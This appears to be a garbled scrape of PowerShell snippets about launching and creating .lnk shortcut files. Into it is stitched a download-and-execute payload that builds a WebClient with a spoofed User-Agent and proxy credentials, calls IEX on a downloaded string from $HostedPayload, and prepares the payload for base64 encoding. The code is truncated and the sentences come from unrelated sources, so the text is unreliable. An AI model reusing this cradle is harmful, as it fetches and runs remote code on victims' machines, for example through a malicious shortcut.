$encodedPayload = ::ToBase64String(::Unicode.
But there is another way of doing this using Start-Process: Start-Process -FilePath C:UsersDDhamiDesktopNotepad++.lnk. $payload = " `$wc = New-Object `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1 WOW64 Trident/7.0 AS rv:11.0) Like Gecko') `$wc.proxy= ::DefaultWebProxy `$wc.proxy.credentials = ::DefaultNetworkCredentials IEX ( `$wc.downloadstring(' $HostedPayload')) " The first thing which comes to mind is Invoke-Item, so something like this will work: Invoke-Item -Path C:UsersDexDesktopNotepad++.lnk. How Can I Create a Shortcut (.lnk file) Using PowerShell We currently have a deployed package that copies 'Internet Explorer.lnk' locally to a device. $IconPath = 'C:\Program Files\Internet Explorer\iexplore.exe ' ,